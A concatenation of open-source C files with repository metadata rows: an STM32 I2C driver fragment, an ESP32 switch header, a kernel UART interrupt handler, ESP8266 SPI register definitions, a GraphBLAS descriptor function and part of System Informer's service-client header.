* GPIO Resources: I2C1_SCL - PB6, I2C1_SDA - PB7 (AF1)
*/
GPIOB->AFR[0] = (GPIOB->AFR[0] & ~(GPIO_AFRL_AFRL6 | GPIO_AFRL_AFRL7)) |
1 << (6 * 4) | 1 << (7 * 4);
GPIOB->MODER = (GPIOB->MODER & ~(GPIO_MODER_MODER6 | GPIO_MODER_MODER7)) |
GPIO_MODER_MODER6_AF | GPIO_MODER_MODER7_AF;
GPIOB->OTYPER |= GPIO_OTYPER_OT_6 | GPIO_OTYPER_OT_7; // both open-drain outputs
// I2C
RCC->APB1ENR |= RCC_APB1ENR_I2C1EN; // timing
RCC->CFGR3 |= RCC_CFGR3_I2C1SW; // use sysclock for timing
if(speed == LOW_SPEED){ // 10kHz
// PRESC=B, SCLDEL=4, SDADEL=2, SCLH=0xC3, SCLL=0xB0
I2C1->TIMINGR = (0xB<<28) | (4<<20) | (2<<16) | (0xC3<<8) | (0xB0);
}else if(speed == HIGH_SPEED){ // 100kHz
I2C1->TIMINGR = (0xB<<28) | (4<<20) | (2<<16) | (0x12<<8) | (0x11);
}else{ // VERYLOW_SPEED - the lowest speed by STM register: 5.8kHz (presc = 16-1 = 15; )
I2C1->TIMINGR = (0xf<<28) | (4<<20) | (2<<16) | (0xff<<8) | (0xff);
}
I2C1->CR1 = I2C_CR1_PE;
}
/**
* write command byte to I2C
* @param addr - device address (TSYS01_ADDR0 or TSYS01_ADDR1)
* @param data - bytes to write
* @param nbytes - amount of bytes to write
* @param stop - to set STOP
* @return 0 if error
*/
static uint8_t write_i2cs(uint8_t addr, uint8_t *data, uint8_t nbytes, uint8_t stop){
cntr = Tms;
I2C1->CR1 = 0; // clear busy flag
I2C1->ICR = 0x3f38; // clear all errors
I2C1->CR1 = I2C_CR1_PE;
while(I2C1->ISR & I2C_ISR_BUSY){
IWDG->KR = IWDG_REFRESH;
if(Tms - cntr > I2C_TIMEOUT){
USND("Line busy\n");
return 0; // check busy
}}
cntr = Tms;
while(I2C1->CR2 & I2C_CR2_START){
IWDG->KR = IWDG_REFRESH;
if(Tms - cntr > I2C_TIMEOUT){
return 0; // check start
}}
//I2C1->ICR = 0x3f38; // clear all errors
I2C1->CR2 = nbytes << 16 | addr;
if(stop) I2C1->CR2 |= I2C_CR2_AUTOEND; // autoend
// now start transfer
I2C1->CR2 |= I2C_CR2_START;
for(int i = 0; i < nbytes; ++i){
cntr = Tms;
while(!(I2C1->ISR & I2C_ISR_TXIS)){ // ready to transmit
IWDG->KR = IWDG_REFRESH;
if(I2C1->ISR & I2C_ISR_NACKF){
I2C1->ICR |= I2C_ICR_NACKCF;
USND("NAK\n");
return 0;
}
if(Tms - cntr > I2C_TIMEOUT){
USND("Timeout\n");
return 0;
}
}
I2C1->TXDR = data[i]; // send data
}
// wait for data gone
while(I2C1->ISR & I2C_ISR_BUSY){
IWDG->KR = IWDG_REFRESH;
if(Tms - cntr > I2C_TIMEOUT){break;}
}
return 1;
}
uint8_t write_i2c(uint8_t addr, uint8_t *data, uint8_t nbytes){
return write_i2cs(addr, data, nbytes, 1);
}
/**
* read nbytes of data from I2C line
* `data` should be an array with at least `nbytes` length
* @return 1 if all OK, 0 if NACK or no device found
*/
static uint8_t read_i2cb(uint8_t addr, uint8_t *data, uint8_t nbytes, uint8_t busychk){
if(busychk){
cntr = Tms;
while(I2C1->ISR & I2C_ISR_BUSY){
IWDG->KR = IWDG_REFRESH;
if(Tms - cntr > I2C_TIMEOUT){
USND("Line busy\n");
return 0; // check busy
}}
}
cntr = Tms;
while(I2C1->CR2 & I2C_CR2_START){
IWDG->KR = IWDG_REFRESH;
if(Tms - cntr > I2C_TIMEOUT){
USND("No start\n");
return 0; // check start
}}
// read N bytes
I2C1->CR2 = (nbytes<<16) | addr | 1 | I2C_CR2_AUTOEND | I2C_CR2_RD_WRN;
I2C1->CR2 |= I2C_CR2_START;
uint8_t i;
for(i = 0; i < nbytes; ++i){
cntr = Tms;
while(!(I2C1->ISR & I2C_ISR_RXNE)){ // wait for data
IWDG->KR = IWDG_REFRESH;
if(I2C1->ISR & I2C_ISR_NACKF){
I2C1->ICR |= I2C_ICR_NACKCF;
USND("NAK\n");
return 0;
}
if(Tms - cntr > I2C_TIMEOUT){
USND("Timeout\n");
return 0;
}
}
*data++ = I2C1->RXDR;
}
return 1;
}
uint8_t read_i2c(uint8_t addr, uint8_t *data, uint8_t nbytes){
return read_i2cb(addr, data, nbytes, 1);
}
// read register reg
uint8_t read_i2c_reg(uint8_t addr, uint8_t reg, uint8_t *data, uint8_t nbytes){
if(!write_i2cs(addr, ®, 1, 0)) return 0;
return read_i2cb(addr, data, nbytes, 0);
}
void i2c_init_scan_mode(){
i2caddr = 0;
I2C_scan_mode = 1;
}
// return 1 if next addr is active & return in as `addr`
// if addresses are over, return 1 and set addr to I2C_NOADDR
// if scan mode inactive, return 0 and set addr to I2C_NOADDR
int i2c_scan_next_addr(uint8_t *addr){
*addr = i2caddr;
if(i2caddr == I2C_ADDREND){
*addr = I2C_ADDREND;
I2C_scan_mode = 0;
return 0;
}
if(!read_i2c_reg((i2caddr++)<<1, 0, NULL, 0)) return 0;
return 1;
}
|
4a8f4d508bc0aff391e7e31843b9bb8d7f0d6adc
|
d0dc556f8b1d18ecbadef182bafd97b632dd3104
|
/ch9/switch/src/app_sw.h
|
953ea48a68135d96b3dcdd2f30976d1a25f17820
|
[
"MIT"
] |
permissive
|
PacktPublishing/Internet-of-Things-with-ESP32
|
da3f2c57e2bd871b134b22841fd275c51f88d487
|
3ada8b905e53961940511636991a839059de7cd1
|
refs/heads/main
| 2023-02-08T13:58:32.585403
| 2023-01-30T10:03:23
| 2023-01-30T10:03:23
| 315,618,086
| 114
| 36
| null | null | null | null |
UTF-8
|
C
| false
| false
| 154
|
h
|
app_sw.h
|
#ifndef app_sw_h_
#define app_sw_h_
#include <stdbool.h>
#define RELAY_PIN 4
void init_hw(void);
void switch_set(bool);
bool switch_get(void);
#endif
|
b8ff5a567b8c47ae5f9082a97561e7ead736ffcb
|
8e56b05b32a978eb170e01409a7aaaa1fc755979
|
/sys/drv/uart.c
|
a8dde6ccda7448e9465b8159d2b127f7208643e5
|
[] |
permissive
|
cahirwpz/mimiker
|
d71f37c2c6efc58a0026e8e4cfcd676d85ef7445
|
5343231aeeeb0d16b2419f84405f52981dc51c07
|
refs/heads/master
| 2023-09-01T20:20:07.256932
| 2023-08-30T18:36:27
| 2023-08-30T18:36:27
| 46,346,617
| 278
| 67
|
BSD-3-Clause
| 2023-09-14T16:57:32
| 2015-11-17T12:46:47
|
C
|
UTF-8
|
C
| false
| false
| 1,665
|
c
|
uart.c
|
#include <sys/mutex.h>
#include <sys/ringbuf.h>
#include <dev/uart.h>
#include <sys/uart_tty.h>
void uart_init(device_t *dev, const char *name, size_t buf_size, void *state,
tty_t *tty) {
uart_state_t *uart = dev->state;
uart->u_state = state;
ringbuf_init(&uart->u_rx_buf, kmalloc(M_DEV, buf_size, M_ZERO), buf_size);
ringbuf_init(&uart->u_tx_buf, kmalloc(M_DEV, buf_size, M_ZERO), buf_size);
mtx_init(&uart->u_lock, MTX_SPIN);
uart_tty_thread_create(name, dev, tty);
}
intr_filter_t uart_intr(void *data /* device_t* */) {
device_t *dev = data;
uart_state_t *uart = dev->state;
tty_thread_t *ttd = &uart->u_ttd;
intr_filter_t res = IF_STRAY;
WITH_MTX_LOCK (&uart->u_lock) {
/* data ready to be received? */
if (uart_rx_ready(dev)) {
(void)ringbuf_putb(&uart->u_rx_buf, uart_getc(dev));
ttd->ttd_flags |= TTY_THREAD_RXRDY;
cv_signal(&ttd->ttd_cv);
res = IF_FILTERED;
}
/* transmit register empty? */
if (uart_tx_ready(dev)) {
uint8_t byte;
while (uart_tx_ready(dev) && ringbuf_getb(&uart->u_tx_buf, &byte))
uart_putc(dev, byte);
if (ringbuf_empty(&uart->u_tx_buf)) {
/* If we're out of characters and there are characters
* in the tty's output queue, signal the tty thread to refill. */
if (ttd->ttd_flags & TTY_THREAD_OUTQ_NONEMPTY) {
ttd->ttd_flags |= TTY_THREAD_TXRDY;
cv_signal(&ttd->ttd_cv);
}
/* Disable TXRDY interrupts - the tty thread will re-enable them
* after filling tx_buf. */
uart_tx_disable(dev);
}
res = IF_FILTERED;
}
}
return res;
}
|
7beb1f71bae99d479628b1c31a1871e3162a2975
|
ed3b24ae57df21a5b089148235dd1b6d728e56f3
|
/ld/unit-tests/test-cases/cstring-labels/bar.c
|
8b1d11dd581d1e5d92f3ae0d8853d062acec9188
|
[
"MIT",
"APSL-2.0"
] |
permissive
|
michaeleisel/zld
|
36ce14511ca9e0a971a0ed614bbee5dac9bb6fa1
|
519197a3bf4dbe47ea5a3bbce609df166f6f976d
|
refs/heads/master
| 2023-08-23T13:46:50.509156
| 2023-02-15T06:02:03
| 2023-02-15T06:02:03
| 237,002,244
| 1,217
| 55
|
MIT
| 2023-02-15T06:00:43
| 2020-01-29T14:32:45
|
C++
|
UTF-8
|
C
| false
| false
| 57
|
c
|
bar.c
|
const char* kBar = "hello";
const char* kBar2 = "there";
|
0664228c2d06d79d4439bf9a4c4c0f9ecf73ade2
|
850efbcf8fe84eb06ab06976aabf7403f66c623e
|
/include/driver/spi_register.h
|
633f361a3d26c9c1db7fd7dbadcc53de34a36683
|
[] |
no_license
|
nekromant/esp8266-frankenstein
|
696c3c64526be0d4baf3953cd344ffe6dee3efaf
|
3188970703aceb67587f6081baa2ae5cc8bf9350
|
refs/heads/master
| 2022-06-02T16:38:43.886778
| 2020-06-03T08:38:23
| 2020-06-03T08:38:23
| 26,371,166
| 292
| 87
| null | 2020-06-03T08:38:24
| 2014-11-08T18:59:52
|
C
|
UTF-8
|
C
| false
| false
| 8,740
|
h
|
spi_register.h
|
//Generated at 2014-07-29 11:03:29
/*
* Copyright (c) 2010 - 2011 Espressif System
*
*/
#ifndef SPI_REGISTER_H_INCLUDED
#define SPI_REGISTER_H_INCLUDED
#define REG_SPI_BASE(i) (0x60000200-i*0x100)
#define SPI_FLASH_CMD(i) (REG_SPI_BASE(i) + 0x0)
#define SPI_FLASH_READ (BIT(31))
#define SPI_FLASH_WREN (BIT(30))
#define SPI_FLASH_WRDI (BIT(29))
#define SPI_FLASH_RDID (BIT(28))
#define SPI_FLASH_RDSR (BIT(27))
#define SPI_FLASH_WRSR (BIT(26))
#define SPI_FLASH_PP (BIT(25))
#define SPI_FLASH_SE (BIT(24))
#define SPI_FLASH_BE (BIT(23))
#define SPI_FLASH_CE (BIT(22))
#define SPI_FLASH_DP (BIT(21))
#define SPI_FLASH_RES (BIT(20))
#define SPI_FLASH_HPM (BIT(19))
#define SPI_FLASH_USR (BIT(18))
#define SPI_FLASH_ADDR(i) (REG_SPI_BASE(i) + 0x4)
#define SPI_FLASH_CTRL(i) (REG_SPI_BASE(i) + 0x8)
#define SPI_WR_BIT_ODER (BIT(26))
#define SPI_RD_BIT_ODER (BIT(25))
#define SPI_QIO_MODE (BIT(24))
#define SPI_DIO_MODE (BIT(23))
#define SPI_TWO_BYTE_STATUS_EN (BIT(22))
#define SPI_WP_REG (BIT(21))
#define SPI_QOUT_MODE (BIT(20))
#define SPI_SHARE_BUS (BIT(19))
#define SPI_HOLD_MODE (BIT(18))
#define SPI_ENABLE_AHB (BIT(17))
#define SPI_SST_AAI (BIT(16))
#define SPI_RESANDRES (BIT(15))
#define SPI_DOUT_MODE (BIT(14))
#define SPI_FASTRD_MODE (BIT(13))
#define SPI_FLASH_CTRL1(i) (REG_SPI_BASE (i) + 0xC)
#define SPI_T_CSH 0x0000000F
#define SPI_T_CSH_S 28
#define SPI_T_RES 0x00000FFF
#define SPI_T_RES_S 16
#define SPI_BUS_TIMER_LIMIT 0x0000FFFF
#define SPI_BUS_TIMER_LIMIT_S 0
#define SPI_FLASH_STATUS(i) (REG_SPI_BASE(i) + 0x10)
#define SPI_STATUS_EXT 0x000000FF
#define SPI_STATUS_EXT_S 24
#define SPI_WB_MODE 0x000000FF
#define SPI_WB_MODE_S 16
#define SPI_FLASH_STATUS_PRO_FLAG (BIT(7))
#define SPI_FLASH_TOP_BOT_PRO_FLAG (BIT(5))
#define SPI_FLASH_BP2 (BIT(4))
#define SPI_FLASH_BP1 (BIT(3))
#define SPI_FLASH_BP0 (BIT(2))
#define SPI_FLASH_WRENABLE_FLAG (BIT(1))
#define SPI_FLASH_BUSY_FLAG (BIT(0))
#define SPI_FLASH_CTRL2(i) (REG_SPI_BASE(i) + 0x14)
#define SPI_CS_DELAY_NUM 0x0000000F
#define SPI_CS_DELAY_NUM_S 28
#define SPI_CS_DELAY_MODE 0x00000003
#define SPI_CS_DELAY_MODE_S 26
#define SPI_MOSI_DELAY_NUM 0x00000007
#define SPI_MOSI_DELAY_NUM_S 23
#define SPI_MOSI_DELAY_MODE 0x00000003
#define SPI_MOSI_DELAY_MODE_S 21
#define SPI_MISO_DELAY_NUM 0x00000007
#define SPI_MISO_DELAY_NUM_S 18
#define SPI_MISO_DELAY_MODE 0x00000003
#define SPI_MISO_DELAY_MODE_S 16
#define SPI_CK_OUT_HIGH_MODE 0x0000000F
#define SPI_CK_OUT_HIGH_MODE_S 12
#define SPI_CK_OUT_LOW_MODE 0x0000000F
#define SPI_CK_OUT_LOW_MODE_S 8
#define SPI_HOLD_TIME 0x0000000F
#define SPI_HOLD_TIME_S 4
#define SPI_SETUP_TIME 0x0000000F
#define SPI_SETUP_TIME_S 0
#define SPI_FLASH_CLOCK(i) (REG_SPI_BASE(i) + 0x18)
#define SPI_CLK_EQU_SYSCLK (BIT(31))
#define SPI_CLKDIV_PRE 0x00001FFF
#define SPI_CLKDIV_PRE_S 18
#define SPI_CLKCNT_N 0x0000003F
#define SPI_CLKCNT_N_S 12
#define SPI_CLKCNT_H 0x0000003F
#define SPI_CLKCNT_H_S 6
#define SPI_CLKCNT_L 0x0000003F
#define SPI_CLKCNT_L_S 0
#define SPI_FLASH_USER(i) (REG_SPI_BASE(i) + 0x1C)
#define SPI_USR_COMMAND (BIT(31))
#define SPI_FLASH_USR_ADDR (BIT(30))
#define SPI_FLASH_USR_DUMMY (BIT(29))
#define SPI_FLASH_USR_DIN (BIT(28))
#define SPI_FLASH_DOUT (BIT(27))
#define SPI_USR_DUMMY_IDLE (BIT(26))
#define SPI_USR_DOUT_HIGHPART (BIT(25))
#define SPI_USR_DIN_HIGHPART (BIT(24))
#define SPI_USR_PREP_HOLD (BIT(23))
#define SPI_USR_CMD_HOLD (BIT(22))
#define SPI_USR_ADDR_HOLD (BIT(21))
#define SPI_USR_DUMMY_HOLD (BIT(20))
#define SPI_USR_DIN_HOLD (BIT(19))
#define SPI_USR_DOUT_HOLD (BIT(18))
#define SPI_USR_HOLD_POL (BIT(17))
#define SPI_SIO (BIT(16))
#define SPI_FWRITE_QIO (BIT(15))
#define SPI_FWRITE_DIO (BIT(14))
#define SPI_FWRITE_QUAD (BIT(13))
#define SPI_FWRITE_DUAL (BIT(12))
#define SPI_WR_BYTE_ORDER (BIT(11))
#define SPI_RD_BYTE_ORDER (BIT(10))
#define SPI_AHB_ENDIAN_MODE 0x00000003
#define SPI_AHB_ENDIAN_MODE_S 8
#define SPI_CK_OUT_EDGE (BIT(7))
#define SPI_CK_I_EDGE (BIT(6))
#define SPI_CS_SETUP (BIT(5))
#define SPI_CS_HOLD (BIT(4))
#define SPI_AHB_USR_COMMAND (BIT(3))
#define SPI_AHB_USR_COMMAND_4BYTE (BIT(1))
#define SPI_DOUTDIN (BIT(0))
#define SPI_FLASH_USER1(i) (REG_SPI_BASE(i) + 0x20)
#define SPI_USR_ADDR_BITLEN 0x0000003F
#define SPI_USR_ADDR_BITLEN_S 26
#define SPI_USR_OUT_BITLEN 0x000001FF
#define SPI_USR_OUT_BITLEN_S 17
#define SPI_USR_DIN_BITLEN 0x000001FF
#define SPI_USR_DIN_BITLEN_S 8
#define SPI_USR_DUMMY_CYCLELEN 0x000000FF
#define SPI_USR_DUMMY_CYCLELEN_S 0
#define SPI_FLASH_USER2(i) (REG_SPI_BASE(i) + 0x24)
#define SPI_USR_COMMAND_BITLEN 0x0000000F
#define SPI_USR_COMMAND_BITLEN_S 28
#define SPI_USR_COMMAND_VALUE 0x0000FFFF
#define SPI_USR_COMMAND_VALUE_S 0
#define SPI_FLASH_USER3(i) (REG_SPI_BASE(i) + 0x28)
#define SPI_FLASH_PIN(i) (REG_SPI_BASE(i) + 0x2C)
#define SPI_FLASH_SLAVE(i) (REG_SPI_BASE(i) + 0x30)
#define SPI_SYNC_RESET (BIT(31))
#define SPI_SLAVE_MODE (BIT(30))
#define SPI_SLV_WR_RD_BUF_EN (BIT(29))
#define SPI_SLV_WR_RD_STA_EN (BIT(28))
#define SPI_SLV_CMD_DEFINE (BIT(27))
#define SPI_TRANS_CNT 0x0000000F
#define SPI_TRANS_CNT_S 23
#define SPI_SLV_LAST_STATE 0x00000007
#define SPI_SLV_LAST_STATE_S 20
#define SPI_SLV_LAST_COMMAND 0x00000007
#define SPI_SLV_LAST_COMMAND_S 17
#define SPI_CS_I_MODE 0x00000003
#define SPI_CS_I_MODE_S 10
#define SPI_INT_EN 0x0000001F
#define SPI_INT_EN_S 5
#define SPI_TRANS_DONE (BIT(4))
#define SPI_SLV_WR_STA_DONE (BIT(3))
#define SPI_SLV_RD_STA_DONE (BIT(2))
#define SPI_SLV_WR_BUF_DONE (BIT(1))
#define SPI_SLV_RD_BUF_DONE (BIT(0))
#define SPI_FLASH_SLAVE1(i) (REG_SPI_BASE(i) + 0x34)
#define SPI_SLV_STATUS_BITLEN 0x0000001F
#define SPI_SLV_STATUS_BITLEN_S 27
#define SPI_SLV_STATUS_FAST_EN (BIT(26))
#define SPI_SLV_STATUS_READBACK (BIT(25))
#define SPI_SLV_BUF_BITLEN 0x000001FF
#define SPI_SLV_BUF_BITLEN_S 16
#define SPI_SLV_RD_ADDR_BITLEN 0x0000003F
#define SPI_SLV_RD_ADDR_BITLEN_S 10
#define SPI_SLV_WR_ADDR_BITLEN 0x0000003F
#define SPI_SLV_WR_ADDR_BITLEN_S 4
#define SPI_SLV_WRSTA_DUMMY_EN (BIT(3))
#define SPI_SLV_RDSTA_DUMMY_EN (BIT(2))
#define SPI_SLV_WRBUF_DUMMY_EN (BIT(1))
#define SPI_SLV_RDBUF_DUMMY_EN (BIT(0))
#define SPI_FLASH_SLAVE2(i) (REG_SPI_BASE(i) + 0x38)
#define SPI_SLV_WRBUF_DUMMY_CYCLELEN 0x000000FF
#define SPI_SLV_WRBUF_DUMMY_CYCLELEN_S 24
#define SPI_SLV_RDBUF_DUMMY_CYCLELEN 0x000000FF
#define SPI_SLV_RDBUF_DUMMY_CYCLELEN_S 16
#define SPI_SLV_WRSTA_DUMMY_CYCLELEN 0x000000FF
#define SPI_SLV_WRSTA_DUMMY_CYCLELEN_S 8
#define SPI_SLV_RDSTA_DUMMY_CYCLELEN 0x000000FF
#define SPI_SLV_RDSTA_DUMMY_CYCLELEN_S 0
#define SPI_FLASH_SLAVE3(i) (REG_SPI_BASE(i) + 0x3C)
#define SPI_SLV_WRSTA_CMD_VALUE 0x000000FF
#define SPI_SLV_WRSTA_CMD_VALUE_S 24
#define SPI_SLV_RDSTA_CMD_VALUE 0x000000FF
#define SPI_SLV_RDSTA_CMD_VALUE_S 16
#define SPI_SLV_WRBUF_CMD_VALUE 0x000000FF
#define SPI_SLV_WRBUF_CMD_VALUE_S 8
#define SPI_SLV_RDBUF_CMD_VALUE 0x000000FF
#define SPI_SLV_RDBUF_CMD_VALUE_S 0
#define SPI_FLASH_C0(i) (REG_SPI_BASE(i) +0x40)
#define SPI_FLASH_C1(i) (REG_SPI_BASE(i) +0x44)
#define SPI_FLASH_C2(i) (REG_SPI_BASE(i) +0x48)
#define SPI_FLASH_C3(i) (REG_SPI_BASE(i) +0x4C)
#define SPI_FLASH_C4(i) (REG_SPI_BASE(i) +0x50)
#define SPI_FLASH_C5(i) (REG_SPI_BASE(i) +0x54)
#define SPI_FLASH_C6(i) (REG_SPI_BASE(i) +0x58)
#define SPI_FLASH_C7(i) (REG_SPI_BASE(i) +0x5C)
#define SPI_FLASH_EXT0(i) (REG_SPI_BASE(i) + 0xF0)
#define SPI_T_PP_ENA (BIT(31))
#define SPI_T_PP_SHIFT 0x0000000F
#define SPI_T_PP_SHIFT_S 16
#define SPI_T_PP_TIME 0x00000FFF
#define SPI_T_PP_TIME_S 0
#define SPI_FLASH_EXT1(i) (REG_SPI_BASE(i) + 0xF4)
#define SPI_T_ERASE_ENA (BIT(31))
#define SPI_T_ERASE_SHIFT 0x0000000F
#define SPI_T_ERASE_SHIFT_S 16
#define SPI_T_ERASE_TIME 0x00000FFF
#define SPI_T_ERASE_TIME_S 0
#define SPI_FLASH_EXT2(i) (REG_SPI_BASE(i) + 0xF8)
#define SPI_ST 0x00000007
#define SPI_ST_S 0
#define SPI_FLASH_EXT3(i) (REG_SPI_BASE(i) + 0xFC)
#define SPI_INT_HOLD_ENA 0x00000003
#define SPI_INT_HOLD_ENA_S 0
#endif // SPI_REGISTER_H_INCLUDED
|
31e28ac57bc320b7801e69b88f1eb8e453ab58e1
|
21c92afbd7fd022a206fb31294c523aebb770104
|
/SuiteSparse/GraphBLAS/Source/GrB_Descriptor_set.c
|
8858dd7de461cb01923c9f69401d5ef4e27b6fd0
|
[
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown",
"GPL-2.0-or-later",
"GPL-3.0-only",
"LGPL-2.1-or-later",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LicenseRef-scancode-generic-cla"
] |
permissive
|
jlblancoc/suitesparse-metis-for-windows
|
70e6bcab2b525afb41758d61f823efa0618f67cf
|
5ee2eb4bc7bfd6d27af2f7fb027b1545cfc0fa3f
|
refs/heads/master
| 2023-08-30T21:15:39.624300
| 2023-03-09T10:16:48
| 2023-03-09T10:16:48
| 16,236,582
| 423
| 251
|
BSD-3-Clause
| 2023-03-09T10:18:08
| 2014-01-25T18:06:21
|
C
|
UTF-8
|
C
| false
| false
| 4,153
|
c
|
GrB_Descriptor_set.c
|
//------------------------------------------------------------------------------
// GrB_Descriptor_set: set a field in a descriptor
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2018, All Rights Reserved.
// http://suitesparse.com See GraphBLAS/Doc/License.txt for license.
//------------------------------------------------------------------------------
#include "GB.h"
GrB_Info GrB_Descriptor_set // set a parameter in a descriptor
(
GrB_Descriptor desc, // descriptor to modify
const GrB_Desc_Field field, // parameter to change
const GrB_Desc_Value value // value to change it to
)
{
//--------------------------------------------------------------------------
// check inputs
//--------------------------------------------------------------------------
GB_WHERE ("GrB_Descriptor_set (desc, field, value)") ;
GB_RETURN_IF_NULL_OR_FAULTY (desc) ;
ASSERT_OK (GB_check (desc, "desc to set", GB0)) ;
//--------------------------------------------------------------------------
// set the parameter
//--------------------------------------------------------------------------
switch (field)
{
case GrB_OUTP :
if (! (value == GxB_DEFAULT || value == GrB_REPLACE))
{
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor value [%d] for GrB_OUTP field;\n"
"must be GxB_DEFAULT [%d] or GrB_REPLACE [%d]",
(int) value, (int) GxB_DEFAULT, (int) GrB_REPLACE))) ;
}
desc->out = value ;
break ;
case GrB_MASK :
if (! (value == GxB_DEFAULT || value == GrB_SCMP))
{
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor value [%d] for GrB_MASK field;\n"
"must be GxB_DEFAULT [%d] or GrB_SCMP [%d]",
(int) value, (int) GxB_DEFAULT, (int) GrB_SCMP))) ;
}
desc->mask = value ;
break ;
case GrB_INP0 :
if (! (value == GxB_DEFAULT || value == GrB_TRAN))
{
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor value [%d] for GrB_INP0 field;\n"
"must be GxB_DEFAULT [%d] or GrB_TRAN [%d]",
(int) value, (int) GxB_DEFAULT, (int) GrB_TRAN))) ;
}
desc->in0 = value ;
break ;
case GrB_INP1 :
if (! (value == GxB_DEFAULT || value == GrB_TRAN))
{
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor value [%d] for GrB_INP1 field;\n"
"must be GxB_DEFAULT [%d] or GrB_TRAN [%d]",
(int) value, (int) GxB_DEFAULT, (int) GrB_TRAN))) ;
}
desc->in1 = value ;
break ;
case GxB_AxB_METHOD :
if (! (value == GxB_DEFAULT || value == GxB_AxB_GUSTAVSON
|| value == GxB_AxB_HEAP || value == GxB_AxB_DOT))
{
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor value [%d] for GrB_AxB_METHOD field;\n"
"must be GxB_DEFAULT [%d], GxB_AxB_GUSTAVSON [%d]\n"
"GxB_AxB_HEAP [%d] or GxB_AxB_DOT [%d]",
(int) value, (int) GxB_DEFAULT, (int) GxB_AxB_GUSTAVSON,
(int) GxB_AxB_HEAP, (int) GxB_AxB_DOT))) ;
}
desc->axb = value ;
break ;
default :
return (GB_ERROR (GrB_INVALID_VALUE, (GB_LOG,
"invalid descriptor field [%d], must be one of:\n"
"GrB_OUTP [%d], GrB_MASK [%d], GrB_INP0 [%d], GrB_INP1 [%d]"
"or GxB_AxB_METHOD [%d]", (int) field,
(int) GrB_OUTP, (int) GrB_MASK, (int) GrB_INP0, (int) GrB_INP1,
(int) GxB_AxB_METHOD))) ;
}
return (GrB_SUCCESS) ;
}
|
2244ce911bf9cd280ac6dfa0edfbc8da80189c27
|
581bdcc078d282e388f1b655d4cfc4e08152d117
|
/SystemInformer/include/phsvccl.h
|
1285689c6ce9bb08865265c58e31578d14636ca0
|
[
"MIT",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"Zlib",
"LGPL-2.1-or-later",
"GPL-2.0-only",
"LicenseRef-scancode-public-domain"
] |
permissive
|
winsiderss/systeminformer
|
774928be871f0055263ac5e62ae0a598b098486b
|
5a6b442acd45d681f699a133d476a3211d072871
|
refs/heads/master
| 2023-08-28T15:43:41.074679
| 2023-08-27T20:59:20
| 2023-08-27T20:59:20
| 50,824,485
| 2,137
| 292
|
MIT
| 2023-09-10T22:35:12
| 2016-02-01T08:10:21
|
C
|
UTF-8
|
C
| false
| false
| 3,468
|
h
|
phsvccl.h
|
#ifndef PH_PHSVCCL_H
#define PH_PHSVCCL_H
#include <phsvcapi.h>
extern HANDLE PhSvcClServerProcessId;
NTSTATUS PhSvcConnectToServer(
_In_ PUNICODE_STRING PortName,
_In_opt_ SIZE_T PortSectionSize
);
VOID PhSvcDisconnectFromServer(
VOID
);
VOID PhSvcpFreeHeap(
_In_ PVOID Memory
);
_Success_(return != NULL)
PVOID PhSvcpCreateString(
_In_opt_ PVOID String,
_In_ SIZE_T Length,
_Out_ PPH_RELATIVE_STRINGREF StringRef
);
NTSTATUS PhSvcCallPlugin(
_In_ PPH_STRINGREF ApiId,
_In_reads_bytes_opt_(InLength) PVOID InBuffer,
_In_ ULONG InLength,
_Out_writes_bytes_opt_(OutLength) PVOID OutBuffer,
_In_ ULONG OutLength
);
NTSTATUS PhSvcCallExecuteRunAsCommand(
_In_ PPH_RUNAS_SERVICE_PARAMETERS Parameters
);
NTSTATUS PhSvcCallUnloadDriver(
_In_opt_ PVOID BaseAddress,
_In_opt_ PWSTR Name
);
NTSTATUS PhSvcCallControlProcess(
_In_opt_ HANDLE ProcessId,
_In_ PHSVC_API_CONTROLPROCESS_COMMAND Command,
_In_ ULONG Argument
);
NTSTATUS PhSvcCallControlService(
_In_ PWSTR ServiceName,
_In_ PHSVC_API_CONTROLSERVICE_COMMAND Command
);
NTSTATUS PhSvcCallCreateService(
_In_ PWSTR ServiceName,
_In_opt_ PWSTR DisplayName,
_In_ ULONG ServiceType,
_In_ ULONG StartType,
_In_ ULONG ErrorControl,
_In_opt_ PWSTR BinaryPathName,
_In_opt_ PWSTR LoadOrderGroup,
_Out_opt_ PULONG TagId,
_In_opt_ PWSTR Dependencies,
_In_opt_ PWSTR ServiceStartName,
_In_opt_ PWSTR Password
);
// begin_phapppub
PHAPPAPI
NTSTATUS PhSvcCallChangeServiceConfig(
_In_ PWSTR ServiceName,
_In_ ULONG ServiceType,
_In_ ULONG StartType,
_In_ ULONG ErrorControl,
_In_opt_ PWSTR BinaryPathName,
_In_opt_ PWSTR LoadOrderGroup,
_Out_opt_ PULONG TagId,
_In_opt_ PWSTR Dependencies,
_In_opt_ PWSTR ServiceStartName,
_In_opt_ PWSTR Password,
_In_opt_ PWSTR DisplayName
);
PHAPPAPI
NTSTATUS PhSvcCallChangeServiceConfig2(
_In_ PWSTR ServiceName,
_In_ ULONG InfoLevel,
_In_ PVOID Info
);
// end_phapppub
NTSTATUS PhSvcCallSetTcpEntry(
_In_ PVOID TcpRow
);
NTSTATUS PhSvcCallControlThread(
_In_ HANDLE ThreadId,
_In_ PHSVC_API_CONTROLTHREAD_COMMAND Command,
_In_ ULONG Argument
);
NTSTATUS PhSvcCallAddAccountRight(
_In_ PSID AccountSid,
_In_ PUNICODE_STRING UserRight
);
NTSTATUS PhSvcCallInvokeRunAsService(
_In_ PPH_RUNAS_SERVICE_PARAMETERS Parameters
);
NTSTATUS PhSvcCallIssueMemoryListCommand(
_In_ SYSTEM_MEMORY_LIST_COMMAND Command
);
// begin_phapppub
PHAPPAPI
NTSTATUS PhSvcCallPostMessage(
_In_opt_ HWND hWnd,
_In_ UINT Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
PHAPPAPI
NTSTATUS PhSvcCallSendMessage(
_In_opt_ HWND hWnd,
